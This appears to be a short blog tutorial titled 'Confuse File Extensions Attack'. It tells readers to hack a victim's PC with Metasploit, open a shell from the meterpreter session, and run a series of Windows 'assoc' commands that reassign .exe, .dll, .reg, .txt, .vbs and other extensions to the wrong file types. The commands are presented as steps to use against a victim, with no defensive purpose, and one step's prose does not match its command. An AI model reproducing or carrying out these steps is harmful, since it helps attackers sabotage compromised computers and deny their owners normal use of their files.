How to Change ALL Files Extension in Remote PC (Confuse File Extensions Attack)

First Hack the Victim PC Using Metasploit (Tutorial How to Hack Remote PC)

Once you got the meterpreter session use ‘shell ‘command to get command prompt of the target

To change the file type association for .dll files to txt type assoc .dll=txtfile then press ENTER. 

1

To change the file type association for .exe files to png type assoc .exe=pngfile then press ENTER

2

To change the file type association for .mp3 files to jpg type assoc .mp3=jpgfile then press ENTER. 

3

To change the file type association for .reg files to xml type assoc .reg=xmlfile then press ENTER. 

4

To change the file type association for .txt files to reg type assoc .txt=regfile then press ENTER. 

5

To change the file type association for .png files to txt type assoc .png=txtfile then press ENTER.

6

To change the file type association for .xml files to txt type assoc .xml=txtfile then press ENTER.

7

To change the file type association for .vbs files to txt type assoc .vbs=bmpfile then press ENTER.

8

Leave a Reply

Your email address will not be published. Required fields are marked *